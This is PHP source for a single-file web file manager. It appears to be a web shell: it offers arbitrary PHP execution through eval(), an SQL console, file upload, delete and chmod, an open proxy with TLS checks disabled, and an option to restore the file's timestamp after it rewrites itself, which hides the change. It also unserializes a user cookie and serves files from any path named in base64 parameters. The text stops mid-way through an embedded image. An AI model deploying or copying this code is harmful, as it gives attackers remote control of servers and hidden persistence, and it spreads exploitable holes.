$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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